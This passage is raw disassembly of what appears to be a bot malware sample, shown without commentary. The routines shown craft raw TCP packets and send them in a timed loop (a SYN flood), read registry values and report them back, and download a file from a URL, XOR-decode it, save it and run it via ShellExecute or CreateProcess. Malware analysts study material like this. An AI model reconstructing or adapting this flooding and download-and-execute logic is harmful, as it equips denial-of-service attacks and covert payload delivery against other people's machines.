; ---------------------------------------------------------------------------


loc_413C7C:				; CODE XREF: sub_4139D5+28Bj
		push	offset dword_4D1048
		call	dword_4CDF20	; inet_addr


loc_413C87:				; CODE XREF: sub_4139D5+2A5j
		mov	dword_4D1678, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	dword_4D167C, eax
		mov	byte_4D168D, bl
		call	dword_4CDEE4	; htons
		push	esi
		push	ebx
		mov	word_4D168E, ax
		call	sub_415DD7
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_415DD7
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_4CDEE0	; htonl
		mov	dword_4D1684, eax
		mov	al, byte_4D168C
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_4D168C, al
		mov	ax, word ptr [ebp+var_C]
		mov	dword_4D1688, ebx
		mov	word_4D1692, bx
		mov	word_4D1682, ax
		mov	dword_4D16A8, edi
		mov	byte_4D16AC, bl
		mov	byte_4D16AD, 6
		call	dword_4CDEE4	; htons
		mov	word_4D16AE, ax
		mov	ax, word_4D1682
		mov	word_4D1694, 2
		mov	dword_4D1698, edi
		mov	word_4D1696, ax
		mov	[ebp+var_4], ebx
		jmp	short loc_413D3D
; ---------------------------------------------------------------------------


loc_413D38:				; CODE XREF: sub_4139D5+438j
		mov	esi, 0FFFFh


loc_413D3D:				; CODE XREF: sub_4139D5+361j
		cmp	[ebp+var_4], ebx
		push	esi
		push	ebx
		jnz	short loc_413D71
		call	sub_415DD7
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CDEE4	; htons
		mov	word_4D1680, ax
		mov	eax, dword_4D1678
		mov	dword_4D16A4, eax
		mov	byte_4D168D, 2
		mov	dword_4D1688, ebx
		jmp	short loc_413D8E
; ---------------------------------------------------------------------------


loc_413D71:				; CODE XREF: sub_4139D5+36Dj
		mov	byte_4D168D, 10h
		call	sub_415DD7
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CDEE4	; htons
		movzx	eax, ax
		mov	dword_4D1688, eax


loc_413D8E:				; CODE XREF: sub_4139D5+39Aj
		inc	word_4D1670
		inc	dword_4D1684
		mov	ax, word_4D1682
		push	5
		pop	ecx
		mov	esi, offset word_4D1680
		mov	edi, offset dword_4D16B0
		mov	word_4D1676, bx
		mov	word_4D1690, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4D166C
		mov	word_4D1696, ax
		push	esi
		call	sub_409CD4
		push	20h
		push	offset dword_4D16A4
		mov	word_4D1676, ax
		call	sub_409CD4
		add	esp, 10h
		mov	word_4D1690, ax
		push	10h
		push	offset word_4D1694
		push	ebx
		push	28h
		push	esi
		push	dword_4D16C8
		call	dword_4CDF44	; sendto
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_413D38
		call	dword_4240A8	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_413E38
		push	[ebp+arg_8]
		call	dword_424078	; Sleep
		jmp	loc_413BFC
; ---------------------------------------------------------------------------


loc_413E38:				; CODE XREF: sub_4139D5+453j
		pop	edi
		pop	esi
		mov	eax, offset dword_4D16D0
		pop	ebx
		leave
		retn
sub_4139D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E42	proc near		; CODE XREF: sub_401AA1+67BAp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_4400B8
		mov	edi, 0B8h


loc_413E56:				; CODE XREF: sub_413E42+33j
		cmp	byte ptr [esi],	0
		jz	short loc_413E79
		push	[ebp+arg_0]
		push	esi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413E79
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_440C38
		jl	short loc_413E56
		jmp	short loc_413EBB
; ---------------------------------------------------------------------------


loc_413E79:				; CODE XREF: sub_413E42+17j
					; sub_413E42+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_4400B8[esi]
		push	ebx
		call	sub_4182F0
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_418350
		push	9Fh
		lea	eax, dword_4400D0[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_418350
		add	esp, 24h
		inc	dword_4286AC
		pop	ebx


loc_413EBB:				; CODE XREF: sub_413E42+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_413E42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413EC2	proc near		; CODE XREF: sub_401AA1+2411p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_439A8C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4400B8


loc_413EEC:				; CODE XREF: sub_413EC2+72j
		cmp	byte ptr [esi],	0
		jz	short loc_413F27
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_439A78
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_4186E0
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 2Ch


loc_413F27:				; CODE XREF: sub_413EC2+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_440C38
		jl	short loc_413EEC
		pop	edi
		pop	esi
		leave
		retn
sub_413EC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F3A	proc near		; CODE XREF: sub_40121E+372p
					; sub_40121E+3F3p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_424138	; GetLocalTime
		mov	ebx, offset dword_4D5AD0
		mov	edi, 80h
		mov	esi, offset dword_4D1AD0


loc_413F5C:				; CODE XREF: sub_413F3A+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_413F73
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_418350
		add	esp, 0Ch


loc_413F73:				; CODE XREF: sub_413F3A+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_413F5C
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_4186E0
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413F3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FAE	proc near		; CODE XREF: sub_4017BF+F7p
					; sub_401AA1:loc_407FD4p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_418EF0
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_413F3A
		add	esp, 14h
		leave
		retn
sub_413FAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_413FDA	proc near		; CODE XREF: sub_401AA1+2309p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4D1AD0
		xor	ecx, ecx


loc_413FE1:				; CODE XREF: sub_413FDA+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D5AD0
		jl	short loc_413FE1
		cmp	[esp+arg_C], ecx
		jnz	short loc_41400F
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_439AD8
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_408BC1
		add	esp, 14h


loc_41400F:				; CODE XREF: sub_413FDA+19j
		push	offset dword_439AC4
		call	sub_413F3A
		pop	ecx
		retn
sub_413FDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41401B	proc near		; DATA XREF: sub_401AA1+23BCo

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		xor	edx, edx
		rep movsd
		xor	edi, edi
		mov	[ebp+var_8], 80h
		inc	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_41406E
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_439B08
		push	eax
		push	[ebp+var_11C]
		call	sub_408BC1
		add	esp, 14h


loc_41406E:				; CODE XREF: sub_41401B+33j
		cmp	[ebp+var_98], 0
		jz	short loc_41408E
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_4184D9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41408E
		mov	[ebp+var_8], eax


loc_41408E:				; CODE XREF: sub_41401B+5Aj
					; sub_41401B+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_4D1AD0


loc_414097:				; CODE XREF: sub_41401B+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_4140F1
		cmp	byte ptr [esi],	0
		jz	short loc_4140E0
		cmp	[ebp+var_98], 0
		jz	short loc_4140C6
		cmp	[ebp+var_4], 0
		jnz	short loc_4140C6
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_4156A1
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4140E0


loc_4140C6:				; CODE XREF: sub_41401B+90j
					; sub_41401B+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_408BC1
		add	esp, 14h


loc_4140E0:				; CODE XREF: sub_41401B+87j
					; sub_41401B+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_4D5AD0
		jl	short loc_414097


loc_4140F1:				; CODE XREF: sub_41401B+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_439AEC
		push	eax
		call	sub_4185E6
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_41412B
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_408BC1
		add	esp, 14h


loc_41412B:				; CODE XREF: sub_41401B+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_413F3A
		push	[ebp+var_18]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
sub_41401B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41414A	proc near		; CODE XREF: sub_401AA1+2121p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_439B2C, ebx
		mov	[ebp+var_C], 80h
		jz	loc_4142F6
		push	esi
		push	edi
		mov	eax, offset off_439B2C
		mov	esi, offset dword_439B38
		mov	edi, offset dword_43AD44


loc_41417A:				; CODE XREF: sub_41414A+1A4j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CDF50	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CDDF4	; RegQueryValueExA
		test	eax, eax
		jnz	loc_4142DD
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_4142A1
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_42D20C
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_418222
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_4142DD
		push	eax
		jmp	short loc_41420A
; ---------------------------------------------------------------------------


loc_4141F5:				; CODE XREF: sub_41414A+D0j
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_418660
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41421E
		push	[ebp+var_8]


loc_41420A:				; CODE XREF: sub_41414A+A9j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_4188AF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4141F5
		jmp	short loc_414296
; ---------------------------------------------------------------------------


loc_41421E:				; CODE XREF: sub_41414A+BBj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_418D10
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_70]
		jz	short loc_41425D
		push	offset asc_43AD40 ; "="
		push	eax
		call	sub_418E54
		push	offset asc_43AD40 ; "="
		push	ebx
		call	sub_418E54
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4185E6
		add	esp, 20h
		jmp	short loc_414271
; ---------------------------------------------------------------------------


loc_41425D:				; CODE XREF: sub_41414A+E5j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4185E6
		add	esp, 10h


loc_414271:				; CODE XREF: sub_41414A+111j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_413F3A
		add	esp, 18h


loc_414296:				; CODE XREF: sub_41414A+D2j
		push	[ebp+var_8]
		call	sub_417DBB
		pop	ecx
		jmp	short loc_4142DD
; ---------------------------------------------------------------------------


loc_4142A1:				; CODE XREF: sub_41414A+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4185E6
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_413F3A
		add	esp, 28h


loc_4142DD:				; CODE XREF: sub_41414A+60j
					; sub_41414A+A2j ...
		push	[ebp+var_4]
		call	dword_4CDEC0	; RegCloseKey
		add	esi, 18h
		lea	eax, [esi-0Ch]
		cmp	[eax], ebx
		jnz	loc_41417A
		pop	edi
		pop	esi


loc_4142F6:				; CODE XREF: sub_41414A+19j
		pop	ebx
		leave
		retn
sub_41414A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142F9	proc near		; DATA XREF: sub_401AA1+59B9o
					; sub_401AA1+60BFo

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_4CDE98
		call	dword_4CDDF8	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_414772
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_4240EC	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_4143C0
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_43AEFC
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4143A3
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408BC1
		add	esp, 14h


loc_4143A3:				; CODE XREF: sub_4142F9+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413F3A
		push	[ebp+var_48]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread


loc_4143C0:				; CODE XREF: sub_4142F9+68j
		xor	edi, edi
		call	dword_4240A8	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_418235
		pop	ecx
		mov	[ebp+var_1C], eax


loc_4143DA:				; CODE XREF: sub_4142F9+1A9j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4CDE00	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_41441E
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4147D8
		pop	ecx
		pop	ecx


loc_41441E:				; CODE XREF: sub_4142F9+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_4240E0	; WriteFile
		cmp	edi, ebx
		jnb	short loc_41445C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_414446
		mov	eax, [ebp+arg_0]


loc_414446:				; CODE XREF: sub_4142F9+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_419070
		add	esp, 0Ch


loc_41445C:				; CODE XREF: sub_4142F9+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_414469
		cmp	edi, [ebp+var_3C]
		ja	short loc_4144A8


loc_414469:				; CODE XREF: sub_4142F9+169j
		mov	eax, edi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_440C38
		cmp	[ebp+var_44], 1
		jz	short loc_414491
		push	offset unk_43AED4
		jmp	short loc_414496
; ---------------------------------------------------------------------------


loc_414491:				; CODE XREF: sub_4142F9+18Fj
		push	offset unk_43AEAC


loc_414496:				; CODE XREF: sub_4142F9+196j
		push	eax
		call	sub_4185E6
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_4143DA


loc_4144A8:				; CODE XREF: sub_4142F9+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_4144FD
		cmp	edi, [ebp+var_3C]
		jz	short loc_4144FD
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_43AE80
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408BC1
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413F3A
		add	esp, 28h


loc_4144FD:				; CODE XREF: sub_4142F9+1B9j
					; sub_4142F9+1BEj
		call	dword_4240A8	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_424068	; CloseHandle
		push	[ebp+var_1C]
		call	sub_417E11
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_414587
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4010AA
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_414587
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_43AE58
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408BC1
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413F3A
		add	esp, 28h


loc_414587:				; CODE XREF: sub_4142F9+236j
					; sub_4142F9+248j
		cmp	[ebp+var_14], esi
		jz	loc_4147BF
		cmp	[ebp+var_44], 1
		push	ecx
		lea	eax, [ebp+var_148]
		push	ecx
		jz	loc_414682
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_43AE20
		push	eax
		call	sub_4185E6
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_414602
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408BC1
		add	esp, 14h


loc_414602:				; CODE XREF: sub_4142F9+2E7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413F3A
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_4147BF
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CDE5C
		cmp	[ebp+var_30], esi
		jnz	loc_4147BF
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_43AE04
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408BC1
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413F3A
		add	esp, 24h
		jmp	loc_4147BF
; ---------------------------------------------------------------------------


loc_414682:				; CODE XREF: sub_4142F9+2A3j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_43ADC0
		push	eax
		call	sub_4185E6
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4146E2
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408BC1
		add	esp, 14h


loc_4146E2:				; CODE XREF: sub_4142F9+3C7j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413F3A
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_4182F0
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_4182F0
		add	esp, 1Ch
		lea	eax, [ebp+var_10]
		mov	[ebp+var_310], edi
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		inc	edi
		push	eax
		push	esi
		mov	[ebp+var_304], offset byte_4400B4
		mov	[ebp+var_2E4], edi
		mov	[ebp+var_2E0], si
		call	dword_42406C	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_414764
		call	dword_4CDE48	; WSACleanup
		call	sub_415972
		push	esi
		call	dword_424064	; ExitProcess


loc_414764:				; CODE XREF: sub_4142F9+457j
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_43AD88
		jmp	short loc_41477E
; ---------------------------------------------------------------------------


loc_414772:				; CODE XREF: sub_4142F9+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_43AD5C


loc_41477E:				; CODE XREF: sub_4142F9+477j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4147B2
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_408BC1
		add	esp, 14h


loc_4147B2:				; CODE XREF: sub_4142F9+497j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_413F3A
		pop	ecx


loc_4147BF:				; CODE XREF: sub_4142F9+291j
					; sub_4142F9+31Aj ...
		push	[ebp+var_18]
		call	dword_4CDF14	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_40A446
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread
sub_4142F9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4147D8	proc near		; CODE XREF: sub_4142F9+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_4147F4


loc_4147E4:				; CODE XREF: sub_4147D8+1Aj
		mov	dl, byte_426098
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4147E4

locret_4147F4:				; CODE XREF: sub_4147D8+Aj
		retn
sub_4147D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4147F5	proc near		; CODE XREF: sub_401AA1+4F84p
					; sub_401AA1+50C6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41A044
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_4147F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41480F	proc near		; CODE XREF: sub_40EEC8+462p
					; sub_40EEC8+5FEp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D5AD0
		push	0
		push	edi
		call	sub_4182F0
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_414834:				; CODE XREF: sub_41480F+5Bj
					; sub_41480F+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41A100
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
